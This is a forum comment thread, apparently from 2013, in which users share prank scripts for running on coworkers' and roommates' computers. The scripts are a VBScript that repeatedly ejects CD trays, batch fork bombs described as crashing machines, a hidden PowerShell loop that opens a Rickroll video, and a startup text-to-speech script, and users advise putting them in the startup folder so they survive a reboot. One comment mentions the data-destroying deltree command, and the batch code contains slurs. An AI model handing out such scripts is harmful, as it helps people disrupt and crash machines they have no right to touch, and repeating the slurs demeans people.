For your trolling need.. . Work in an office? Want to annoy an colleague? ilk' . Eject Next rrai Next End If 123993 lump. Here you go, guys. I wrote it for you because OP was too lazy to do it himself. Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCo
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Work in an office?
Want to annoy an colleague?
ilk' . Eject
Next
rrai
Next
End If
123993
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User avatar #4 - camperdude (09/10/2013) [+] (18 replies)
Here you go, guys. I wrote it for you because OP was too lazy to do it himself.

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
wscript.sleep 600000
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 120000
loop
User avatar #1 - kothaex ONLINE (09/10/2013) [-]
Dear god man indent your code.
#14 - VICTORx (09/11/2013) [+] (16 replies)
@echo off
color 0a
echo OH GOD I AM NOT GOOD WITH COMPUTER
Pushd "%~dp0"
:faggots
title HOW COULD THIS HAPPEN
start blameitontheblacks.bat
goto faggots

copy above into notepad
save as "blameitontheblacks.bat" sans quotes
open
self-replicating file reopens itself until computer crashes
fun times!
User avatar #41 - Mastaforga (09/11/2013) [+] (24 replies)
Echo off
:loop1
start command
start command
start command
start command
start command
start command
start command
start command
start command
start command
goto loop1

Just a fun script that got me suspended from school... save as "filename".bat
opens so many command prompts that it crashes computer
User avatar #34 - sweatymannipple (09/11/2013) [+] (2 replies)
Wouldn't the process just be terminated if they restarted their computer?
User avatar #35 to #34 - fjvoodoo (09/11/2013) [-]
Not if you put it in the startup folder like he suggests.
#74 - EmulateSnes ONLINE (09/11/2013) [+] (72 replies)
#82 to #80 - xast (09/11/2013) [-]
Its beautiful
Its beautiful
User avatar #112 - tallzed ONLINE (09/11/2013) [+] (8 replies)
Quick question: How do you stop it?
#99 - snaigen (09/11/2013) [+] (6 replies)
I made something different:

A Script that will start the Internet Explorer with the rick roll youtube video every 2 minutes (first intverall is also 10 minutes). Just double click the init-troll.bat and have fun.

Make a folder somewhere (on Desktop or hidden in C:\whatever..) and create these two files in it:

init-troll.bat:
@echo off
powershell.exe -ExecutionPolicy ByPass -NonInteractive -WindowStyle Hidden ".\troll.ps1"
PAUSE

troll.ps1:
$i = 1
while (1) {
if ($i -ne 1) {
$ie = New-Object -ComObject InternetExplorer.Application
$ie.Navigate2("www.youtube.com/watch?v=IAISUDbjXj0")
$ie.Visible = $true
Start-Sleep -Seconds 120
} else {
Start-Sleep -Seconds 600
}
$i++
}
User avatar #106 - invincibleone (09/11/2013) [+] (9 replies)
my idiot friend did this to MY computer anyone know how to get rid of it?
User avatar #109 to #107 - invincibleone (09/11/2013) [-]
youre a fucking idiot. i fixed it myself
#246 - mrdrpage (09/11/2013) [-]
I did this and forgot all about it. About 10 minutes later it started working. I flipped my shit.   
   
I'm off to do it to my roommates computer.
I did this and forgot all about it. About 10 minutes later it started working. I flipped my shit.

I'm off to do it to my roommates computer.
#17 - ROTFLcopter **User deleted account** (09/11/2013) [+] (3 replies)
I feel like it would be better if it was a random interval between 1 and 10 minutes
User avatar #12 - ifuckbabies **User deleted account** (09/11/2013) [+] (6 replies)
Years ago i found this site(or a program? I don't remember), that you could use to make files(or links? Once again, i don't remember), that when opened/used, will fuck up computers. You could make it eject the disc tray like hundreds of times in a row, you could make the computer shut down, and you could make it do more things, i think. If anyone knows what I'm talking about, and if the thing still exists, then could someone perhaps let me know?
User avatar #13 to #12 - iitoxictz (09/11/2013) [-]
The eject button and the power button, they still exist today, you're welcome.
#149 - taurusguy (09/11/2013) [+] (3 replies)
I didnt check all the comments, but anyone have the text version of that? Im extremely lazy.
User avatar #161 to #149 - cormy (09/11/2013) [-]
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
wscript.sleep 600000
do
if colCDROMs.Count >=1 then
For i = 0 to colCDROMs Count - 1
colCDROMs.item(i).Eject
Next
For i = 0 to colCDROMs Count - 1
colCDROMs.item(i).Eject
Next
End If
wscript.sleep 120000
loop
#121 - anonymous (09/11/2013) [+] (3 replies)
YOU KNOW THATS A PRETTY DOUCHY THING TO DO. HE PROABLY HAS A LOT OF WORK TO DO AND ALL YOU CAN THINK ABOUT IS ANOYING YOUR COLLLEGAUE. WHAT A DOUCHEBAG. FUCKIN DOUCHE
#128 to #127 - dragonlight (09/11/2013) [-]
Fuckin hell, calm down oprah.
#168 - johnpoppy (09/11/2013) [+] (6 replies)
Put this in notepad:
CreateObject("SAPI.SpVoice").Speak"Enter text here"

Save as: "filename.vbs"
Put in startup folder.
This will make the computer say whatever you put in "Enter text here" and have it do so anytime the PC starts up.
#76 - erpetrich (09/11/2013) [-]
MFW I do't know shit about computer code
MFW I do't know shit about computer code
-5
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#214 - gux (09/11/2013) [+] (1 reply)
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**gux rolled a random image posted in comment #54 at Sneekachu **
#9 - verycoolcat (09/10/2013) [-]
Back in my day, we used to tell people to use the deltree command on dos.
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